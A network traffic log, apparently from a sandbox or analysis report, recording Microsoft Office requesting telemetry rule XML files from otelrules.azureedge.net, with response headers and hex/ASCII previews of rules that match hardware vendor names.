2024-10-24 14:05:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 04b89afe-e01e-0003-7c15-250fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140522Z-r197bdfb6b46gt25anfa5gg2fw000000037000000000nak9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49793	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:22 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:22 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9b05f8c0-e01e-0020-40f2-24de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140522Z-15b8d89586ffsjj9qb0gmb1stn000000039g00000000az0v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:22 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49794	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:22 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:22 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:22 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 241b467f-801e-0015-2b13-25f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140522Z-r197bdfb6b429k2s6br3k49qn4000000050g000000009e2k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:22 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49795	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:22 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:22 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:22 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e7bd3bd0-f01e-003c-42e3-258cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140522Z-16849878b785jsrm4477mv3ezn00000007v00000000035fv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 14:05:22 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49796	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:22 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: b26f0bb8-d01e-00ad-3518-26e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140523Z-15b8d89586fnsf5zm1ryrxu0bc000000039000000000cqpt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49797	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:23 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:23 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:23 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 864201cb-901e-0015-2b18-26b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140523Z-16849878b785g992cz2s9gk35c00000007t000000000mgvn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 14:05:23 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49798	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:23 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:23 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 5074b8ce-701e-005c-627a-25bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140523Z-15b8d89586f42m673h1quuee4s000000036g00000000a4q4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:23 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49799	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:23 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:23 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 8e7d8b57-101e-007a-1df4-24047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140523Z-r197bdfb6b4sn8wg20e97vn7ps0000000pf00000000075pc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:23 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49800	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:23 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:23 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: b11d926e-c01e-00a2-50f4-242327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140523Z-r197bdfb6b4k6h5j1g5mvtmsmn0000000c5g00000000edww x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:23 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49801	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:23 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:23 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 6ff76e76-001e-002b-21c5-2099f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140523Z-16849878b78fmrkt2ukpvh9wh400000007q000000000ks47 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:23 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49803	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:24 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:24 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 3cf1b782-701e-0001-32e5-21b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140524Z-16849878b78lhh9t0fb3392enw00000007pg00000000ft23 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49804	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:24 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:24 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:24 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 1290ce53-d01e-002b-7905-2225fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140524Z-16849878b784cpcc2dr9ch74ng00000007x000000000bhwq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:24 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

